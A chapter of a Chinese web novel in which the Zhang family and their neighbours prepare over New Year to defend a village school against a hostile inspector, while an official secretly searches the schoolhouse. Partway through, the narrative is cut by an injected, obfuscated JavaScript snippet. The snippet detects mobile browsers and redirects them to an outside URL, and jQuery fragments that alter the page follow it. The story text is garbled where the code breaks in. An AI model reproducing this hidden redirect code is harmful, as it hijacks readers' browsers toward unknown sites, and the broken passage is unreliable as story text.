腊月三十，除夕。


    青石镇从清晨就浸在忙碌的喜庆里。扫尘、贴春联、备年饭，家家户户的灶间飘出诱人的香气。孩童们穿着新衣在雪地里追逐，鞭炮声零星响起，年味浓得像化不开的蜜。


    张静轩一早就起来帮忙。张家今年过年格外郑重——既是为迎新年，也是为迎接下来可能的风暴。福伯带着伙计们里外洒扫，张夫人亲自下厨备办年饭，连腿脚不便的张静远也拄着拐杖在院里指挥挂灯笼。


    午后，张静轩去了趟学堂。祠堂里冷冷清清，炭火盆已熄，桌椅整齐地摆着，黑板上还留着昨夜夜校的板书。他走到印刷设备前，掀开油布看了看——铅字归位，油墨盖严，一切都收拾得妥帖。


    陈启明走后，这套简易设备就成了学堂的宝贝。昨夜用它印春联的场景还在眼前，街坊们拿到春联时的笑脸，郑伯钧审视时的眼神，都像刻在心里。


    “静轩。”


    他回头，看见苏宛音站在门口。她今日穿了件水红色的袄子，衬得脸色好了些，但眼底的倦意掩不住。


    “苏先生，怎么来了？”


    “来看看。”苏宛音走进来，目光扫过祠堂，“明日就是新年了，也不知这学堂……明年还在不在。”


    这话说得伤感。张静轩心头一紧：“在的。一定会。”


    苏宛音走到黑板前，伸手摸了摸上面的字迹：“我父亲当年办学，也说过这样的话。‘学堂在，希望就在’。可后来……学堂关了，他也走了。”


    她转过身，看着张静轩：“静轩，你说，咱们这所学堂，能撑多久？”


    张静轩沉默。他想起郑伯钧那番话，想起那封任命孙维民为督导的信，想起正月初三那个迫近的日子。撑多久？他不知道。


    “能撑多久撑多久。”他最终说，“只要咱们不放弃，学堂就不会倒。”


    苏宛音笑了，那笑容里有种凄然的美：“你和你大哥很像，都这么……倔。”


    “不是倔，是认准了。”张静轩道，“认准了这事该做，就得做到底。”


    两人沉默了一会儿。窗外的鞭炮声渐渐密集起来，年关的气氛越来越浓。


    “苏先生，”张静轩忽然问，“郑伯钧请你去省城编教材，你真不去？”


    “不去。”苏宛音摇头，“我父亲当年就是去了省城，卷进了不该卷的事。我不能重蹈覆辙。”她顿了顿，“况且，青石镇需要我。这些孩子需要我。”


    “可郑伯钧不会罢休。”


    “我知道。”苏宛音轻声道，“但有些选择，明知道难，也得选。就像你大哥说的——怕，也得做。”


    张静轩重重点头。他明白了，苏宛音和他、和大哥、和所有坚守学堂的人一样，都做出了同样的选择。


    哪怕前路艰险。


    两人锁了学堂门，各自回家。走在街上，鞭炮声此起彼伏，孩童的欢笑声在雪地里回荡。张静轩看着这一幕，心里却沉甸甸的。


    这安宁，能持续多久？


    正月初三，孙维民就要来了。


    到那时，这安宁会不会被打破？


    他不知道。


    只能往前走。


    到家时，天色已近黄昏。张家院里挂起了红灯笼，贴上了新对联。福伯正指挥伙计搬年货，张夫人在厨房里忙碌，张静远在书房写信。


    “静轩，”张静远见他回来，放下笔，“来，看看这个。”


    张静轩走过去。书案上摊着一份名单，是青石镇所有支持学堂的街坊名录——周大栓、李铁匠、陈老秀才、卖豆腐的王婶、开杂货铺的刘掌柜……一共四十七户。


    “这是……”


    “正月初三，孙维民来，咱们得让他看见这个。”张静远指着名单，“让他知道，学堂不是张家的私产，是青石镇四十七户人家的心血。他若动学堂，就是动这四十七户人家。”


    张静轩心头一热。大哥这是要把所有人都绑在一起，形成一股力量。孙维民再有权势，也要掂量掂量。


    “可街坊们……都愿意吗？”


    “我问过了。”张静远道，“周大栓、李铁匠带头，陈老秀才也支持。都说学堂是大家的，要护一起护。”


    这消息让张静轩松了口气。有街坊们做后盾，孙维民要动学堂，就没那么容易了。


    “还有，”张静远从抽屉里取出一本账册，“这是学堂的账目，从开办到现在，每一笔收支都记得清楚。福伯管账，你过目。”


    张静轩接过账册翻看。账记得很细——张家出资多少，街坊凑钱多少，购买教材花了多少，先生束脩多少……一笔笔，清楚明白。


    “郑伯钧拨的那五百银元，也入账了。”张静远道，“但单独记账，注明‘省教育学会专项经费’。这笔钱，咱们不动，等孙维民来了，看他怎么说。”


    这是高明的一招。钱在账上，但不用，既表示接受学会的好意，又避免落下把柄。孙维民若拿这钱说事，账目清清楚楚，他无话可说。


    “大哥想得周全。”张静轩由衷道。


    张静远苦笑：“不是我想得周全，是被逼的。这些年在前线，学会了——敌人越强，你就得越细。细到每一颗子弹、每一口粮食都要算清楚，因为稍有不慎，就是生死。”


    他顿了顿，眼神悠远：“办学堂也一样。那些人想找咱们的茬，咱们就得把事做得滴水不漏，让他们无茬可找。”


    正说着，门外传来福伯的声音：“老爷，年夜饭备好了。”


    年夜饭摆在正厅。八仙桌上摆满了菜肴——鸡鸭鱼肉，时蔬鲜果，还有一盆热腾腾的饺子。张老太爷坐在主位，张夫人挨着他，张静远和张静轩分坐两侧。福伯也破例上了桌，坐在下首。


    烛火通明，映着一张张脸。张老太爷举起酒杯，缓缓道：“今年除夕，与往年不同。学堂办了，风波也来了。但不管怎样，咱们张家，还是那个张家——守本分，尽心力。这一杯，敬祖宗，敬这片山河，也敬咱们自己的良心。”


    众人举杯。酒是温过的黄酒，入喉温热，暖了肠胃，也暖了心。


    席间，张老太爷说了许多往事——张家从关外逃难来的艰辛，在青石镇扎根的不易，还有这些年布施乡里、修桥铺路的坚持。说到最后，老人眼圈红了：“咱们张家，不图名利，就图个心安。办学堂，也是为心安——看见孩子们能读书，能明理，这心就安了。”


    张静轩默默听着。他忽然明白了，为什么父亲、大哥，还有他自己，都这么执着于办学。这不仅是做事，是传承——传承张家那份“守本分”的家风，传承对这片土地的责任。


    年夜饭吃到戌时末。外头的鞭炮声越来越密，夜空不时被烟花照亮。青石镇沉浸在辞旧迎新的喜悦里，仿佛所有的忧虑都暂时放下了。


    饭后，张静轩陪大哥在院里守岁。兄弟俩坐在廊下，裹着厚棉袍，看着夜空里绽放的烟花。


    “静轩，”张静远忽然说，“还记得咱们小时候守岁吗？”


    “记得。”张静轩点头，“那时候大哥总给我讲故事，讲关外的雪，讲草原上的马。”


    “是啊。”张静远笑了笑，“那时候觉得，天大地大，青石镇就是全世界。后来去了前线，才知道世界有多大，也才知道……青石镇有多珍贵。”


    他顿了顿：“在战场上，每次冲锋前，我都会想——这一仗打完了，能不能回青石镇？能不能再在祠堂门口，听孩子们读书？”


    张静轩鼻子一酸：“大哥……”


    “现在回来了，看见你办了学堂，教了孩子，我高兴。”张静远拍拍弟弟的肩，“你做的，比我做的更有意义。我守的是国土，你守的是未来。”


    这话说得重。张静轩感到肩上的担子沉甸甸的，但也沉得踏实。


    子时将近，镇上响起震耳欲聋的鞭炮声。新的一年，到了。


    兄弟俩站起身，看着夜空里璀璨的烟花。那些光，短暂但绚烂，照亮了青石镇的屋檐街巷，也照亮了每个人心里那点希望。


    “静轩，”张静远轻声道，“新年了。不管前路多难，咱们一起走。”


    “一起走。”张静轩重重点头。


    正月初一，清晨。


    拜年的热闹冲淡了昨夜的深沉。张静轩跟着父亲、大哥，挨家挨户拜年。街坊们都很热情，尤其是那些有孩子在学堂的人家，拉着张静轩的手说了许多感激的话。


    到周大栓家时，水生穿着新衣跑出来，小脸红扑扑的：“静轩哥，新年好！”他递过一张红纸，“俺写的福字！”


    福字歪歪扭扭，但笔画认真。张静轩接过，笑着夸了几句。周大栓在旁边搓着手：“静轩，正月初三的事，俺们都准备好了。孙维民那小子敢来捣乱，俺们就敢跟他说道说道！”


    这话说得底气十足。张静轩谢过，心里又踏实了几分。


    一圈拜年下来，已近晌午。回到张家，张静远说要去镇公所看看——虽然过年，但镇公所应该有值班的，得探探孙维民来的具体安排。


    张静轩则去了学堂。他想起昨夜和苏宛音的对话，心里总有些不安，想再去看看。


    走到学堂门口时，他愣住了。


    祠堂的门开着。


    他明明记得昨夜锁了门。


    心头警铃大作。他放轻脚步，靠近门口，往里看——


    祠堂里有人。


    是吴干事。


    他正站在印刷设备前，手里拿着什么，对着光仔细看着。旁边站着两个手下，一个在翻书柜，一个在检查桌椅。


    张静轩屏住呼吸，悄悄退到墙角。大年初一，吴干事来学堂干什么？搜查？可他没有搜查令，这是私闯。


    正想着，里面传来对话声。


    “……都查过了，没什么特别的。”一个手下说。


    “印刷机呢？”吴干事问。


    “简易的，只能印些简单的。油墨是普通的，铅字都是常用字，没有敏感字眼。”


    吴干事沉默片刻：“教材呢？”


    “都是识字课本、算数口诀，还有……春联样稿。”


    “春联？”吴干事的声音听不出喜怒，“他们倒会想办法。”


    “吴干事，孙督导初三就来，咱们现在查，会不会……”


    “现在查，才能知道他来之前，这儿是什么样。”吴干事打断他，“孙督导要的是‘全权’，咱们得给他一个‘干净’的摊子。若有什么不该有的，现在处理掉，省得他来了麻烦。”


    张静轩心头一凛。原来吴干事是在替孙维民“清场”。把所有可能成为把柄的东西，提前处理掉。


    好细的心思。


    “那这套设备……”手下问。


    “留着。”吴干事道，“这是‘证据’——证明他们确实在印刷。至于印什么，到时候咱们说了算。”


    这话说得阴毒。张静轩感到脊背发凉。印刷设备成了双刃剑—


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156208|196314||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    —既是学堂的工具，也是可能被栽赃的“罪证”。


    “还有那两个先生……”手下欲言又止。


    “苏宛音和程秋实，”吴干事缓缓道，“郑会长要调他们去省城，这是好事。他们走了，这儿就空了。到时候，孙督导想怎么安排，就怎么安排。”


    “可他们要是不走呢？”


    “不走？”吴干事冷笑，“那就由不得他们了。正月初三之后，这儿谁说了算，他们清楚。”


    话音落，里面传来脚步声。张静轩赶紧躲到祠堂后墙的柴堆后。


    吴干事带着手下走出来，四下看了看，锁上门，走了。


    脚步声渐远。


    张静轩从柴堆后出来，看着他们消失的方向，心里翻江倒海。


    吴干事的话，印证了大哥的猜测——孙维民来，就是要接管学堂。而接管的第一步，就是清走苏宛音和程秋实。


    怎么办？


    他想起大哥说的“拖”字诀。拖到开春，拖到孙维民无计可施。


    可怎么拖？


    正想着，身后传来轻微的脚步声。张静轩回头，看见程秋实站在巷口，脸色苍白。


    “程先生？”


    “我都听见了。”程秋实走过来，声音发颤，“他们……要赶我们走。”


    张静轩无言以对。


    “静轩，”程秋实看着他，“你说，我们该走吗？”


    “不该。”张静轩斩钉截铁，“学堂需要你们，孩子们需要你们。”


    “可我们不走，会连累学堂。”程秋实苦笑，“郑伯钧要调我们去省城，是‘重用’；我们不去，就是‘不识抬举’。孙维民来了，就有理由针对学堂。”


    这话说得实在。张静轩沉默了。


    两人站在雪地里，相对无言。远处传来孩童的嬉笑声，年味正浓，但他们的心，像浸在冰水里。


    “程先生，”张静轩最终开口，“你们若走，学堂就真垮了。你们若留，咱们一起扛。街坊们都支持，四十七户人家都站在学堂这边。孙维民再厉害，也要掂量掂量。”


    程秋实看着他，眼神复杂：“静轩，你才十五岁……”


    “十五岁，也该担事了。”张静轩道，“我大哥十五岁时，已经偷偷教穷孩子识字了。我爹十五岁时，已经跟着爷爷逃难，一路南下了。张家人，没有怕事的。”


    这话说得硬气。程秋实眼中有了光：“好。那我们就留下，一起扛。”


    “谢谢程先生。”


    “该谢的是你们。”程秋实摇头，“没有你们张家，没有青石镇的街坊，我们这两个外地人，早就待不下去了。”


    两人又说了几句，各自离开。张静轩往家走，心里却不像表面那么平静。


    吴干事的话，程秋实的担忧，都像石头压在心上。


    正月初三，越来越近了。


    他想起昨夜大哥说的那句话：“不管前路多难，咱们一起走。”


    对，一起走。


    有大哥，有父亲，有苏先生程先生，有街坊们。


    这么多人一起，还怕什么孙维民？


    他深吸一口气，加快脚步。


    到家时，张静远也刚从镇公所回来。兄弟俩在书房碰头，交换了各自探到的情况。


    “镇公所那边，”张静远沉声道，“吴干事已经安排好了。正月初三巳时，孙维民到。先在镇公所开会，然后来学堂‘视察’。”


    “巳时……”张静轩算着时间，“那咱们得提前准备。”


    “对。”张静远点头，“我已让福伯通知街坊们，正月初三辰时，学堂集合。孙维民来的时候，要让他看见——学堂不是空的，是有人的。”


    “人多了，他就不敢乱来？”


    “至少不敢明着乱来。”张静远道，“暗地里的小动作免不了，但明面上，他得装出‘督导’的样子。咱们就陪他演这场戏。”


    兄弟俩又商议了些细节——谁负责接待，谁负责记录，谁负责维持秩序。账册、教材、印刷设备，都要摆在明处，随时备查。


    正月初二，平静的一天。


    青石镇还沉浸在过年的喜悦里，走亲访友，吃喝玩乐。但学堂的人，心里都绷着一根弦。


    张静轩又去了一趟学堂，把印刷设备仔细检查了一遍。铅字清点，油墨计量，连用过的废纸都收拾干净。他要确保，孙维民来查时，找不到任何纰漏。


    苏宛音和程秋实也在备课——不是给孩子备，是给孙维民备。他们要准备一堂“示范课”，展示学堂的教学内容和方法。课要讲得扎实，讲得实用，让孙维民挑不出毛病。


    陈老秀才托人捎来话，说正月初三他一定到。“我这张老脸，在省城还有点用。孙维民见我，总得客气几分。”


    周大栓和李铁匠也传来消息——码头和镇西的街坊都通知到了，正月初三都会来学堂，给学堂撑场面。


    一切准备就绪。


    只等正月初三。


    夜里，张静轩又失眠了。他躺在床上，听着窗外偶尔响起的鞭炮声，脑子里反复推演着明天的场景——孙维民会说什么？会查什么？会用什么手段？


    他不知道。但知道也得面对。他坐起身，点亮灯，摊开纸笔。该给大哥留封信。万一明天有什么不测……笔尖悬在纸上，却写不下去。最终，他放下笔，吹熄灯。


    窗外，夜色深沉。


    正月初三的曙光，即将到来。